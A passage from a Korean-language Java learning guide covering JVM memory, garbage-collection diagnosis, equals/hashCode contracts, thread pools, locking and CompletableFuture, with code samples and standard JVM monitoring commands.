3주차 — 객체 설계 인터페이스·다형성·예외 설계·enum. 여기가 스프링을 이해하는 기반입니다.
4~5주차 — 스프링 부트 🍃 탭으로 이동. DI → 컨트롤러 → 서비스 → 예외 처리 순서로. REST API 하나를 끝까지 만들어 보세요.
6~7주차 — 데이터 🗄️ 탭. JPA 엔티티 → 연관관계 → N+1 → QueryDSL. 여기가 실무 난이도의 절반입니다.
8주차 — 보안과 운영 🔐 Security(JWT) · 테스트 · 로깅 · 배포. 여기까지면 혼자서 서비스를 하나 띄울 수 있습니다.
그 이후 — 깊이 🧬 동시성·가상 스레드, 🌊 WebFlux, 🚪 Gateway. 필요해질 때 오세요. 미리 배우면 안 남습니다.

연습 프로젝트 추천 순서

  • ① 콘솔 To-Do — 컬렉션·클래스·예외만으로
  • ② 파일 정산기 — CSV 읽어 집계 후 결과 출력 (스트림 연습)
  • ③ REST API — 게시판 CRUD (Boot + JPA)
  • ④ 로그인 붙이기 — JWT (Security)
  • ⑤ 엑셀 다운로드 — POI (실전 도구 탭)
  • ⑥ 화면 붙이기 — JavaFX 또는 프론트 연동
가장 빨리 느는 방법 — 강의를 더 듣는 것보다 작은 걸 끝까지 완성해 보는 게 압도적으로 빠릅니다. “CRUD 만들기”를 3번 반복하면 4번째부터는 구조가 손에 익습니다.
파이썬도 함께 보고 계시다면 — 상단 탭의 🐍 Python 가이드에서 같은 방식으로 정리해 두었습니다. 알고리즘·자료구조는 파이썬 가이드 쪽에 있습니다.
JVM · 동시성 · 가상 스레드 (Java 25)

느린 이유도
터지는 이유도
대개 여기 있다

문법을 다 알아도 메모리와 스레드를 모르면 운영에서 막힙니다. 이 탭은 “왜 OOM 이 나는지”, “왜 가끔만 틀리는지”, 그리고 Java 21 부터 판을 바꾼 가상 스레드를 다룹니다.

13SECTIONS
1M+가상 스레드 동시 실행
~1KB가상 스레드 1개 비용
1MB플랫폼 스레드 1개 비용
ADV 01

JVM 구조와 메모리

“어디에 무엇이 저장되는가”만 알면 OOM·성능 문제의 절반은 짐작이 갑니다.

스택
스레드마다 하나씩메서드 호출 정보, 지역 변수, 기본형 값. 메서드가 끝나면 즉시 사라집니다.
힙
모든 스레드가 공유new 로 만든 모든 객체. GC 가 청소하는 곳. OOM 의 주 무대입니다.
메타스페이스
클래스 정보클래스 구조, static 필드. Java 8부터 힙 밖(네이티브 메모리)에 있습니다.
기타
코드 캐시 · 다이렉트 버퍼JIT 이 만든 기계어, NIO 버퍼. 힙 통계에 안 잡혀서 놓치기 쉽습니다.
void example() {
    int a = 10;                    // 스택 — 값 자체
    String s = "hello";            // 스택엔 '주소', 실제 객체는 힙
    List<String> list = new ArrayList<>();   // 힙
}   // 메서드 끝 -> 스택은 즉시 정리, 힙 객체는 GC 가 나중에

힙은 다시 세대로 나뉩니다

영역내용
Eden새 객체가 처음 놓이는 곳. 대부분 여기서 바로 죽습니다
Survivor 0/1Eden 에서 살아남은 것이 잠시 머무는 곳
Old(Tenured)오래 살아남은 객체. 여기가 차면 Full GC — 느립니다

“대부분의 객체는 금방 죽는다”는 가정 위에 설계돼 있습니다. 그래서 짧게 쓰고 버리는 객체는 사실상 공짜에 가깝고, 오래 붙잡고 있는 객체(캐시·static 컬렉션)가 문제를 만듭니다.

실무에서 쓰는 옵션

# 힙 크기 — 컨테이너에선 비율 지정이 안전
java -Xms512m -Xmx2g -jar app.jar
java -XX:MaxRAMPercentage=75 -jar app.jar   # 컨테이너 메모리의 75%

# OOM 나면 힙 덤프 남기기 (원인 분석의 핵심)
java -XX:+HeapDumpOnOutOfMemoryError \
     -XX:HeapDumpPath=/var/log/dump.hprof -jar app.jar

# GC 로그
java -Xlog:gc*:file=/var/log/gc.log:time -jar app.jar

# 현재 상태 확인
jps -l                  # 실행 중인 자바 프로세스
jcmd <pid> GC.heap_info  # 힙 사용량
jcmd <pid> Thread.print  # 스레드 덤프 (멈춤 현상 분석)
jmap -histo <pid> | head -20   # 어떤 객체가 많은지
OOM 이 나는 진짜 이유 Top 3
① static 컬렉션에 계속 담기 — 절대 안 지워집니다. 캐시는 반드시 크기 제한을 두세요.
② DB 결과를 전부 메모리로 — findAll() 이 100만 건이면 그대로 힙에 올라옵니다. 페이징·스트리밍을 쓰세요.
③ 파일·스트림을 안 닫음 — try-with-resources를 쓰면 구조적으로 막힙니다.
2 GB 컨테이너 안의 JVM — 칸 폭이 곧 크기입니다 (1 px ≈ 4 MB) 힙 안 — 최대 힙 75% (-Xmx 가 막는 곳) 힙 밖 → 컨테이너 한도 2,048 MB 힙 1,536 MB — new 로 만든 객체 · GC 대상 메타스페이스 · 클래스 정보 120 MB 코드 캐시 · JIT 결과 50 MB 스레드 스택 200개 × 약 1 MB 다이렉트 버퍼 128 MB GC · 네이티브 80 MB 합계 2,114 MB 66 MB 초과 → OOMKilled 힙 상한만 낮춰서는 막을 수 없습니다 — 오른쪽 다섯 칸은 -Xmx 바깥입니다 컨테이너에서는 -Xmx 대신 최대 힙 비율을 주고, 힙 밖 몫을 20~25% 남겨 두세요 스레드를 수천 개 만들면 스택만으로도 수 GB 가 됩니다 — 가상 스레드가 필요한 이유입니다
메모리 문제를 볼 때 첫 질문은 힙 안인가 밖인가입니다.
ADV 02

GC — 쓰레기 수집

자바가 메모리를 대신 정리해 주는 대신, 정리하는 동안 잠깐 멈춥니다(Stop-The-World). 이 멈춤을 줄이는 게 튜닝의 전부입니다.

어떤 객체가 청소되나

// GC 는 "루트에서 도달할 수 없는" 객체를 지운다
//   루트 = 스택의 지역변수, static 필드, 실행 중인 스레드 …

List<byte[]> cache = new ArrayList<>();

void leak() {
    cache.add(new byte[10_000_000]);   // cache 가 살아있는 한 절대 안 지워짐
}

void ok() {
    byte[] tmp = new byte[10_000_000];
    process(tmp);
}   // 메서드 끝 -> 참조가 끊김 -> 다음 GC 때 회수 ✅

// System.gc() 는 '요청'일 뿐이고, 오히려 Full GC 를 유발합니다.
// 실무에서 호출할 이유가 없습니다.

GC 종류 — 뭘 쓸까

GC특징 · 언제
G1 (기본값)Java 9+ 기본. 대부분 그냥 이걸 쓰면 됩니다
ZGC멈춤이 1ms 미만. 힙이 크고(수십 GB) 지연이 중요할 때
ShenandoahZGC 와 비슷한 목표
Parallel처리량 우선. 배치 작업에 유리
Serial작은 컨테이너·단일 CPU
java -XX:+UseG1GC -jar app.jar        # 기본
java -XX:+UseZGC -jar app.jar
# ※ 세대형 ZGC 는 Java 23부터 기본이라 따로 켤 필요 없음
#   (21~22에서만 -XX:+ZGenerational 추가, 24부터는 이 플래그가 폐기됨)
GC 튜닝을 시작하기 전에 — 대부분의 “GC 문제”는 코드가 객체를 너무 많이 만드는 문제입니다. 옵션을 만지기 전에 힙 덤프로 무엇이 쌓이는지 먼저 보세요.
힙 1 GB 사용량 60초 — 톱니는 마이너 GC, 오르는 바닥선이 구세대입니다 (대표값) 0 250 500 750 MB 힙 사용량 메이저 GC — 멈춤 수백 ms 구세대 바닥선 — 승격분이 계속 쌓임 마이너 GC — 5초마다 · 멈춤 수 ms · 잦아도 정상 0초 15초 30초 45초 60초 톱니는 정상입니다 — 문제는 바닥선이 오르다 메이저 GC 가 분당 여러 번 터지는 모양입니다 바닥선이 오른다 = 오래 사는 객체가 많다 — 옵션이 아니라 코드(캐시 · 세션) 문제입니다
GC 로그에서 마이너는 잦아도 정상, 메이저(Full GC)가 분당 여러 번이면 비정상 — 이 구분이 진단의 시작입니다.

GC 로그를 읽는 법 — 무엇을 보고 판단하나

켜고 보기

# 운영에서도 켜 두세요 — 오버헤드가 거의 없고, 없으면 사고 때 아무것도 못 봅니다
java -Xlog:gc*:file=/var/log/gc.log:time,uptime,level,tags:filecount=5,filesize=20M \
     -jar app.jar

# 실시간으로 훑어보기
jcmd <pid> GC.heap_info
jstat -gcutil <pid> 1000        # 1초마다 각 영역 사용률(%)
$ jstat -gcutil 1234 1000
  S0     S1     E      O      M     YGC   YGCT    FGC   FGCT
  0.00  31.25  68.42  45.10  95.2   842   12.4      3    1.85
  0.00  31.25  91.03  45.10  95.2   842   12.4      3    1.85
 28.15   0.00   7.21  45.62  95.2   843   12.4      3    1.85   ← 마이너 GC 발생

읽는 법
  E   Eden 사용률 — 차오르다 GC 후 떨어지는 톱니 모양이면 정상
  O   구세대 사용률 — ★ 계속 우상향하면 누수 의심
  YGC 마이너 횟수 · YGCT 누적 시간
  FGC 메이저(Full) 횟수 · FGCT 누적 시간 ← 여기가 늘어나면 문제
가장 중요한 신호는 O(구세대) 사용률의 추세입니다. Full GC 를 돌린 뒤에도 안 내려가고 계속 오르면 메모리 누수입니다. 오르내리며 유지되면 정상입니다 — 절대값이 높다고 문제인 것이 아닙니다.

증상 → 원인 → 조치

증상원인과 조치
Full GC 가 잦음구세대에 오래 사는 객체가 많음 — 캐시 크기 제한·힙 덤프 확인
Full GC 후에도
메모리가 안 줄어듦
누수 — static 컬렉션 · 리스너 미해제
가끔 수 초씩 멈춤힙이 크고 G1 — MaxGCPauseMillis 조정 · ZGC 검토
마이너 GC 가 매우 잦음객체를 너무 많이 만듦 — 루프 안 할당 확인
시작 직후만 느림정상 — JIT 예열 · 힙 확장 (-Xms=-Xmx 로 완화)
컨테이너가 강제 종료힙 + 비힙이 한도 초과 — MaxRAMPercentage
# 무엇이 힙을 채우는지 — 이 한 줄이면 대개 범인이 보입니다
jcmd <pid> GC.class_histogram | head -20

# 정확히 보려면 덤프를 떠서 Eclipse MAT 로
jcmd <pid> GC.heap_dump /tmp/heap.hprof
#   MAT 의 "Leak Suspects" 리포트가 대개 바로 답을 줍니다

# 30분 간격으로 두 번 떠서 비교하면 "늘어난 것"이 곧 누수입니다
-Xmx 를 무작정 키우면 문제가 커집니다. 누수가 있으면 터지는 시점만 미뤄지고, 힙이 클수록 Full GC 한 번의 멈춤이 길어집니다. 4GB 힙의 Full GC 가 2초라면 16GB 에서는 8초가 될 수 있습니다 — 그동안 모든 요청이 멈춰 있습니다.
ADV 03

equals · hashCode · 불변 설계

이 규약을 어기면 Set 에 넣었는데 못 찾는, 재현도 어려운 버그가 납니다.

규약 — 둘은 항상 같이 구현

public final class Money {
    private final String currency;
    private final long amount;

    public Money(String currency, long amount) {
        this.currency = currency;
        this.amount = amount;
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (!(o instanceof Money m)) return false;      // 패턴 매칭
        return amount == m.amount && currency.equals(m.currency);
    }

    @Override
    public int hashCode() {
        return Objects.hash(currency, amount);          // 필드 조합
    }
}

// 규약
//   1) a.equals(b) 가 true 면 -> hashCode() 도 반드시 같아야 한다
//   2) hashCode 가 같다고 equals 가 true 일 필요는 없다 (해시 충돌 허용)
//   3) equals 에 쓴 필드만 hashCode 에도 쓴다
왜 중요한가 — HashMap·HashSet은 먼저 hashCode 로 자리를 찾고 그 안에서 equals 로 비교합니다. hashCode 를 빼먹으면 같은 값이라도 다른 자리에 들어가서 영원히 못 찾습니다.

불변 객체 — 가장 값싼 안전장치

// 불변 만들기 5원칙
public final class Period {              // 1) final class — 상속 차단
    private final LocalDate start;       // 2) 모든 필드 final + private
    private final List<String> tags;

    public Period(LocalDate start, List<String> tags) {
        this.start = start;
        this.tags = List.copyOf(tags);   // 3) 방어적 복사 (들어올 때)
    }

    public List<String> getTags() {
        return tags;                     // 4) 이미 불변이라 그대로 OK
    }                                    //    가변이면 복사해서 반환

    public Period withStart(LocalDate s) {
        return new Period(s, tags);      // 5) 변경은 '새 객체'로
    }
}

// record 를 쓰면 1·2는 자동. 3만 신경 쓰면 됩니다
public record Period(LocalDate start, List<String> tags) {
    public Period {
        tags = List.copyOf(tags);        // 압축 생성자에서 복사
    }
}

불변 객체는 여러 스레드가 동시에 읽어도 안전합니다. 동시성 문제의 상당수가 “공유되는 가변 상태”에서 나오므로, 불변으로 만들 수 있으면 락 자체가 필요 없어집니다.

둘은 한 쌍입니다 — 하나만 고치면 찾지 못합니다 map.get(key) 키 객체 하나 ① hashCode() 어느 칸(버킷)을 볼지 결정 ② equals() 그 칸 안에서 진짜 같은지 비교 equals 만 고치면 같은 값인데 해시가 달라 다른 칸을 뒤집니다 넣어 둔 것을 못 찾고, Set 에 중복이 들어갑니다 컴파일도 되고 에러도 없어 발견이 늦습니다 지켜야 할 규칙 같은 객체면 해시도 반드시 같아야 합니다 해시가 같다고 값이 같을 필요는 없습니다(충돌 허용) 비교에 쓴 필드로만 해시를 만듭니다 가장 안전한 방법 — record 를 쓰면 둘 다 자동으로 만들어집니다. 직접 쓸 때는 IDE 생성이나 Objects.hash 를 쓰세요 주의 — 컬렉션에 넣은 뒤 필드를 바꾸면 해시가 달라져 그 객체를 영영 찾지 못합니다. 키로 쓸 객체는 불변으로 만드세요
"분명히 넣었는데 없다"는 증상의 대부분이 이 한 쌍입니다.
HashMap 버킷 8칸 — hashCode 가 칸을 고르고, equals 는 그 칸 안에서만 비교합니다 ① put(new Point(1,2), v) — 기본 hash …3583 & 7 = 3번 칸 Point(1,2) 비어 있음 0 1 2 3 4 5 6 7 ② get(new Point(1,2)) — 기본 hash …617e & 7 = 6 → null 같은 값인데 객체마다 기본 hash 가 달라 다른 칸을 봅니다 — equals 는 불려 보지도 못합니다 hashCode 도 같은 필드로 재정의하면 두 객체 모두 3번 칸 → 그 안에서 equals 로 찾습니다 record 를 쓰면 둘 다 자동으로 만들어집니다 — 키로 쓸 객체는 불변으로 넣은 뒤 필드를 바꾸면 hash 가 달라져, 그 객체는 영영 다른 칸에서 찾게 됩니다
"분명히 넣었는데 없다"는 증상의 대부분이 이 한 쌍입니다.
ADV 04

스레드 기초

웹 서버는 이미 스레드 위에서 돌고 있습니다. 직접 만들 일은 적어도 무슨 일이 벌어지는지는 알아야 합니다.

만들고 실행하기

// 1) 가장 단순한 방법
Thread t = new Thread(() -> System.out.println("다른 스레드"));
t.start();          // ⚠️ run() 을 직접 부르면 그냥 메서드 호출입니다
t.join();           // 끝날 때까지 기다림

// 2) 이름을 붙이면 로그·덤프에서 찾기 쉽다
Thread t2 = new Thread(task, "order-worker-1");

// 3) 데몬 스레드 — 메인이 끝나면 같이 종료
t2.setDaemon(true);

// 현재 스레드
Thread.currentThread().getName();     // "main", "http-nio-8080-exec-1" …
Thread.sleep(1000);                   // 1초 대기 (InterruptedException 처리 필요)

// 인터럽트 — '멈춰 달라'는 신호 (강제 종료가 아님)
t.interrupt();
// 받는 쪽
while (!Thread.currentThread().isInterrupted()) { ... }

스레드 상태

상태의미
NEW만들어졌지만 start() 전
RUNNABLE실행 중이거나 CPU 를 기다리는 중
BLOCKED락을 기다리는 중 — 덤프에 많으면 경합 의심
WAITING다른 스레드를 무기한 대기 (join, wait)
TIMED_WAITING시간 제한 대기 (sleep, await(t))
TERMINATED종료
서버가 멈춘 것 같을 때 — jcmd <pid> Thread.print 로 덤프를 뜨고 BLOCKED 가 몰려 있는 지점을 찾으세요. 같은 락을 여러 스레드가 기다리고 있으면 그게 병목입니다.
요청 4개 = CPU 5 ms + DB 대기 40 ms + CPU 5 ms — 기다리는 동안 무엇을 쥐고 있나 플랫폼 스레드 — 요청 4개에 OS 스레드 4개 OS 스레드 1 DB 대기 40 ms — OS 스레드는 그대로 점유 OS 스레드 2 OS 스레드 3 OS 스레드 4 스레드 4개 × 50 ms 점유 CPU 를 쓴 건 각 10 ms 뿐 가상 스레드 — 같은 4개를 캐리어 1개가 캐리어 (OS 1개) v1 v2 v3 v4 모두 DB 대기 — 캐리어는 빔 v1 v2 v3 v4 65 ms 에 4개 끝 힙 (대기 중) 기다리는 v1~v4 는 힙으로 물러나 캐리어를 비워 줌 0 20 40 60 80 ms 수가 아니라 기다림을 다루는 법이 다릅니다 — 쥐고 기다리느냐, 비켜 주고 기다리느냐 대신 DB 커넥션 풀(보통 10~50개)이 새 상한이 됩니다 — 요청은 늘어도 커넥션은 그대로 CPU 만 쓰는 계산은 이득이 없습니다 — 가상 스레드가 줄이는 것은 기다림뿐입니다
"스레드 풀 크기를 얼마로 할까"라는 오래된 고민이 가상 스레드에서는 대체로 사라집니다 — 대신 다른 자원의 상한이 병목이 됩니다.

스레드를 직접 만들지 않는 법 — 실무에서 쓰는 형태

ExecutorService — 이것이 기본입니다

// ✗ new Thread() 를 직접 쓰는 코드는 거의 항상 잘못된 코드입니다
new Thread(() -> doWork()).start();     // 개수 제어 없음 · 예외 유실 · 종료 불가

// ✓ 풀에 맡깁니다 (try-with-resources — Java 19+)
try (var pool = Executors.newFixedThreadPool(8)) {
    List<Future<Report>> futures = ids.stream()
        .map(id -> pool.submit(() -> buildReport(id)))
        .toList();

    for (var f : futures) {
        Report r = f.get(10, TimeUnit.SECONDS);   // ★ 타임아웃을 반드시
        save(r);
    }
}   // 블록을 벗어나면 알아서 close + 완료 대기

// ✓✓ 가상 스레드 (Java 21+) — IO 대기가 많으면 이쪽
try (var pool = Executors.newVirtualThreadPerTaskExecutor()) {
    ids.forEach(id -> pool.submit(() -> callExternalApi(id)));
}   // 1만 개를 던져도 됩니다

// 주기 작업 — 앱이 사는 동안 유지해야 하므로 필드로 두고 종료 시 shutdown()
//   (try-with-resources 로 감싸면 블록을 나가는 순간 close() → 주기 작업이 취소됩니다)
private final ScheduledExecutorService sched = Executors.newScheduledThreadPool(1);
sched.scheduleAtFixedRate(this::cleanup, 0, 1, TimeUnit.HOURS);   // @PreDestroy 에서 sched.shutdown()
Future.get() 을 타임아웃 없이 부르지 마세요. 상대가 응답을 안 주면 영원히 기다립니다 — 요청을 처리하던 스레드가 통째로 묶이고, 같은 일이 반복되면 톰캣 스레드 풀이 말라 서비스가 멈춥니다. "서버가 살아 있는데 아무 응답이 없다"의 대표적 원인입니다.

풀 크기를 정하는 법

작업 성격크기
CPU 중심
(계산·인코딩)
코어 수 또는 코어+1 — 더 늘리면 전환 비용만 늘어납니다
IO 중심
(DB·HTTP)
코어 × (1 + 대기시간/연산시간)
대기가 압도적이면 수십~수백
IO 중심 · Java 21+가상 스레드 — 크기 고민 자체가 사라집니다
혼합풀을 나누세요 — 느린 작업이 빠른 작업을 굶기지 않게
// 큐가 무한이면 메모리가 터집니다 — 상한과 거절 정책을 함께
var pool = new ThreadPoolExecutor(
    8, 16,                                   // core, max
    60L, TimeUnit.SECONDS,
    new ArrayBlockingQueue<>(1000),          // ★ 큐 상한
    new ThreadFactoryBuilder()               // Guava. JDK 21+ 는 Thread.ofPlatform().name("report-", 0).factory()
        .setNameFormat("report-%d").build(), // ★ 이름 — 덤프에서 결정적입니다
    new ThreadPoolExecutor.CallerRunsPolicy());  // 넘치면 호출자가 직접 실행
    //  = 자연스러운 배압(backpressure). AbortPolicy 는 예외를 던집니다.

// 종료는 반드시 (스프링이면 @PreDestroy · @Bean(destroyMethod))
pool.shutdown();
if (!pool.awaitTermination(30, TimeUnit.SECONDS)) pool.shutdownNow();
스레드에 이름을 붙이는 것만으로 디버깅 시간이 절반이 됩니다. pool-1-thread-7 과 report-7 은 스레드 덤프를 볼 때 완전히 다른 정보량을 줍니다. Executors.newFixedThreadPool 은 큐가 무한(LinkedBlockingQueue)이라 상한·거절 정책을 못 걸므로, 오래 쓰는 풀은 ThreadPoolExecutor 로 직접 만드는 편이 낫습니다.
ADV 05

동기화 · 락 · 원자성

“가끔만 틀리는 버그”의 원인은 대부분 여기 있습니다. 여러 스레드가 같은 값을 동시에 건드릴 때 무슨 일이 일어나는지 봅시다.

❌ count++ 는 원자적이지 않다
class Counter {
    private int count = 0;
    public void inc() { count++; }     // 읽기 → +1 → 쓰기, 3단계!
}

// 스레드 1000개가 각각 1000번 증가시키면
// 기대: 1,000,000  실제: 973,412 처럼 매번 다름 💥
✅ 세 가지 해법
// 1) synchronized — 가장 단순
private int count = 0;
public synchronized void inc() { count++; }

// 2) AtomicInteger — 락 없이 (CAS), 더 빠름
private final AtomicInteger count = new AtomicInteger();
public void inc() { count.incrementAndGet(); }

// 3) LongAdder — 경합이 심할 때 최강
private final LongAdder count = new LongAdder();
public void inc() { count.increment(); }
public long get() { return count.sum(); }

synchronized 와 락

// 메서드 전체 — this 를 락으로 사용
public synchronized void transfer() { ... }

// 필요한 부분만 (권장) — 락 구간이 짧을수록 좋다
private final Object lock = new Object();
public void transfer() {
    prepare();                    // 락 밖
    synchronized (lock) {
        balance -= amount;        // 꼭 필요한 부분만
    }
    notifyUser();                 // 락 밖
}

// ReentrantLock — 타임아웃·시도가 필요할 때
private final ReentrantLock lock = new ReentrantLock();
if (lock.tryLock(1, TimeUnit.SECONDS)) {
    try { ... } finally { lock.unlock(); }   // finally 필수!
} else {
    throw new BusyException();
}

// 읽기가 압도적으로 많으면 ReadWriteLock
private final ReentrantReadWriteLock rw = new ReentrantReadWriteLock();  // var는 지역 변수 전용 — 필드에는 못 씀
rw.readLock().lock();     // 읽기끼리는 서로 안 막음
rw.writeLock().lock();    // 쓰기는 전부 배타

volatile — 가시성만 보장

// ❌ 다른 스레드에서 바꾼 값이 안 보일 수 있다 (CPU 캐시)
private boolean running = true;
public void stop() { running = false; }
public void run() { while (running) { ... } }   // 영원히 안 멈출 수 있음

// ✅ volatile — 항상 메인 메모리에서 읽고 쓴다
private volatile boolean running = true;
volatile 은 원자성을 보장하지 않습니다. volatile int count; count++; 는 여전히 깨집니다.
· 플래그(true/false) → volatile
· 증감·누적 → Atomic 계열
· 여러 값을 함께 → synchronized / Lock
데드락 — 서로가 서로를 기다림
스레드 A가 락1을 쥐고 락2를 기다리고, B가 락2를 쥐고 락1을 기다리면 둘 다 영원히 멈춥니다. 예방법은 하나 — 락을 항상 같은 순서로 잡기(예: ID 가 작은 계좌부터). 그리고 가능하면 tryLock(타임아웃)을 써서 영원히 기다리지 않게 하세요.
count++ 는 읽고 · 더하고 · 쓰는 세 단계 — 그래서 무엇으로 막을지 위에서부터 묻습니다 두 스레드가 1,000번씩 올려도 2,000 이 안 나옵니다 — 겹친 증가 하나가 통째로 사라집니다 맞는 동시성 자료구조가 이미 있는가? 예 ConcurrentHashMap · BlockingQueue 직접 만든 것보다 안전하고 빠릅니다 아니오 숫자 하나만 바꾸는가? 예 AtomicLong · LongAdder 잠금보다 가볍습니다 아니오 — 여러 줄을 묶어야 함 synchronized · ReentrantLock 잠그는 범위는 최대한 좁게 volatile 은 가시성만 — count++ 의 원자성은 보장하지 않습니다 잠금이 여럿이면 잡는 순서를 고정 — 교착은 순서가 엇갈릴 때 생깁니다 가장 좋은 해결은 애초에 공유하지 않는 것 — 스레드마다 세고 마지막에 합치세요
동시성 코드를 쓸 때 첫 선택지는 이미 만들어진 것입니다.
ADV 06

java.util.concurrent — 직접 만들지 마세요

스레드를 손으로 만들고 관리하는 코드는 대부분 이미 표준 라이브러리에 더 잘 만들어져 있습니다.

ExecutorService — 스레드 풀

// 고정 크기 풀
try (var pool = Executors.newFixedThreadPool(10)) {   // Java 19+ AutoCloseable
    Future<Integer> f = pool.submit(() -> compute());
    Integer result = f.get();          // 결과를 기다림 (블로킹)
}   // 자동으로 shutdown + 대기

// 예전 방식 (여전히 많이 봅니다)
ExecutorService pool = Executors.newFixedThreadPool(10);
try {
    pool.submit(task);
} finally {
    pool.shutdown();                   // 새 작업 거부, 진행 중인 건 마침
    if (!pool.awaitTermination(30, TimeUnit.SECONDS))
        pool.shutdownNow();            // 시간 안에 안 끝나면 강제 종료
}

// 여러 작업을 한 번에
List<Callable<String>> tasks = List.of(t1, t2, t3);
List<Future<String>> futures = pool.invokeAll(tasks);   // 전부 끝날 때까지
String first = pool.invokeAny(tasks);                    // 가장 먼저 끝난 하나

// 주기 실행
var sched = Executors.newScheduledThreadPool(2);
sched.scheduleAtFixedRate(job, 0, 10, TimeUnit.SECONDS);

동시성 컬렉션

클래스용도
ConcurrentHashMap스레드 안전한 Map. HashMap 대신
CopyOnWriteArrayList읽기 위주 · 쓰기가 드문 목록(리스너 등)
BlockingQueue생산자-소비자 큐. 비면 대기
ConcurrentLinkedQueue락 없는 큐
var map = new ConcurrentHashMap<String, Integer>();
map.merge("key", 1, Integer::sum);        // 원자적 증가 ✅
map.computeIfAbsent("k", k -> expensive());  // 한 번만 계산

// 생산자-소비자
BlockingQueue<Order> queue = new LinkedBlockingQueue<>(1000);
queue.put(order);        // 가득 차면 대기
Order o = queue.take();  // 비어 있으면 대기

// 동기화 보조 도구
var latch = new CountDownLatch(3);    // 3개가 끝날 때까지 대기
latch.countDown();  latch.await();
var sem = new Semaphore(5);           // 동시 5개만 허용
sem.acquire();  try { ... } finally { sem.release(); }
Collections.synchronizedMap()은 쓰지 마세요 — 맵 전체에 락을 걸어 사실상 직렬화됩니다. ConcurrentHashMap은 구역별로만 잠가서 훨씬 빠릅니다.

풀을 직접 설계할 때 — ThreadPoolExecutor 의 손잡이 전부

동작 순서 — 대부분이 잘못 알고 있습니다 ★

var pool = new ThreadPoolExecutor(
        10,                              // corePoolSize
        50,                              // maximumPoolSize
        60, TimeUnit.SECONDS,            // 초과분 유휴 회수 시간
        new ArrayBlockingQueue<>(1000),  // 작업 큐 (유한!)
        new ThreadFactoryBuilder().setNameFormat("api-%d").build(),
        new ThreadPoolExecutor.CallerRunsPolicy());   // 거부 정책

// 작업이 들어오면 이 순서입니다:
//   ① core 가 안 찼다  → 새 스레드
//   ② core 가 찼다     → '큐에' 넣는다          ← 여기가 함정
//   ③ 큐까지 찼다      → max 까지 스레드 추가
//   ④ max 도 찼다      → 거부 정책 실행
//
// ★ 즉 무한 큐(LinkedBlockingQueue 기본)를 쓰면
//   max=50 은 '영원히' 안 만들어집니다 — 큐가 안 차니까.
//   "max 를 올렸는데 왜 안 늘지?" 의 답이 이겁니다.

// 거부 정책 4종
//   AbortPolicy(기본)     : RejectedExecutionException
//   CallerRunsPolicy ★   : 제출한 스레드가 직접 실행 → 자연 백프레셔
//   DiscardPolicy         : 조용히 버림 (사고의 씨앗)
//   DiscardOldestPolicy   : 큐의 제일 오래된 것을 버림

크기 공식 · 읽기 많은 곳의 락 업그레이드

// 풀 크기의 출발점 (리틀의 법칙 근사)
//   CPU 작업  : 코어 수 (그 이상은 컨텍스트 스위칭 손해)
//   I/O 작업  : 코어 수 × (1 + 대기시간/계산시간)
//   예) 계산 5ms + DB 대기 45ms, 8코어 → 8 × (1+9) = 80
// 공식은 출발점일 뿐 — 부하 테스트로 큐 길이·지연을 보고 조정합니다

// 읽기 95% 인 자료에는 StampedLock 낙관적 읽기
private final StampedLock sl = new StampedLock();

double read() {
    long stamp = sl.tryOptimisticRead();     // 락 없이 일단 읽고
    double x = this.value;
    if (!sl.validate(stamp)) {               // 그 사이 쓰기가 있었나?
        stamp = sl.readLock();               // 있었다면 그때만 진짜 락
        try { x = this.value; }
        finally { sl.unlockRead(stamp); }
    }
    return x;
}
// ReadWriteLock 보다 읽기 처리량이 크게 높습니다.
// 단, 재진입 불가 · Condition 없음 — 용도를 좁게 잡으세요.

// 단계별 합류가 필요하면 Phaser (CountDownLatch 의 재사용 버전)
var phaser = new Phaser(3);                  // 참가자 3
phaser.arriveAndAwaitAdvance();              // 라운드 1 합류
phaser.arriveAndAwaitAdvance();              // 라운드 2 — 재사용 ✅
튜닝의 관측 지점 — pool.getQueue().size() · getActiveCount() · getCompletedTaskCount() 를 메트릭으로 내보내세요. 큐 길이가 우상향이면 처리량 부족, active 가 항상 max 면 풀이 아니라 다운스트림이 병목입니다.
ADV 07

CompletableFuture — 비동기 조합

“여러 API 를 동시에 호출해서 합치기” 같은 작업을 콜백 지옥 없이 쓰는 방법입니다.

// 1) 비동기 실행
CompletableFuture<User> userF =
        CompletableFuture.supplyAsync(() -> userClient.find(id), pool);

// 2) 결과를 변환 (스레드 유지)
CompletableFuture<String> nameF = userF.thenApply(User::getName);

// 3) 또 다른 비동기 호출을 이어붙이기 (평탄화)
CompletableFuture<Profile> profileF =
        userF.thenCompose(u -> CompletableFuture.supplyAsync(() -> profileClient.find(u.getId())));

// 4) 둘을 동시에 실행하고 합치기 ★ 가장 많이 쓰는 패턴
CompletableFuture<Order> orderF = CompletableFuture.supplyAsync(() -> orderClient.find(id), pool);
CompletableFuture<OrderView> viewF =
        userF.thenCombine(orderF, (user, order) -> new OrderView(user, order));

// 5) 전부 끝날 때까지
CompletableFuture.allOf(f1, f2, f3).join();
List<String> results = Stream.of(f1, f2, f3).map(CompletableFuture::join).toList();

// 6) 가장 먼저 끝난 하나
CompletableFuture.anyOf(f1, f2).join();

// 7) 예외 처리
userF.orTimeout(3, TimeUnit.SECONDS)             // 타임아웃 (Java 9+) — 대체값보다 먼저 걸어야
     .exceptionally(e -> {                       //   타임아웃도 여기서 대체값으로 바뀝니다
        log.error("조회 실패", e);
        return User.unknown();
     })
     .whenComplete((result, err) -> {            // 성공·실패 모두
        if (err != null) log.error("실패", err);
     });
기본 풀을 쓰지 마세요 — supplyAsync(task)에 풀을 안 주면 공용 ForkJoinPool을 씁니다. 여기서 DB·HTTP 같은 블로킹 작업을 하면 애플리케이션 전체의 병렬 스트림까지 함께 굶습니다. 반드시 전용 풀을 두 번째 인자로 넘기세요.

여기서 실력이 갈립니다 — 5년차가 놓치는 네 가지

① 실행 스레드의 진실 · ② 예외의 정체

// ① thenApply 는 "어느 스레드에서" 도는가? — 답: 그때그때 다릅니다
f.thenApply(x -> heavy(x));
//   future 가 '아직 미완료'  → 완료시키는 스레드(풀 스레드)가 실행
//   future 가 '이미 완료'    → thenApply 를 '부른 스레드'가 실행 ★
// 톰캣 요청 스레드에서 완료된 future 에 무거운 변환을 붙이면
// 그 변환이 '요청 스레드에서' 돕니다 — 지연의 단골 원인.
// 실행 위치를 보장하려면 항상 thenApplyAsync(fn, pool).

// ② 꺼낼 때 예외 타입이 바뀝니다
f.get()    // ExecutionException 로 감싸서 (checked)
f.join()   // CompletionException 로 감싸서 (unchecked)
// 원인 판정은 반드시 e.getCause() 로:
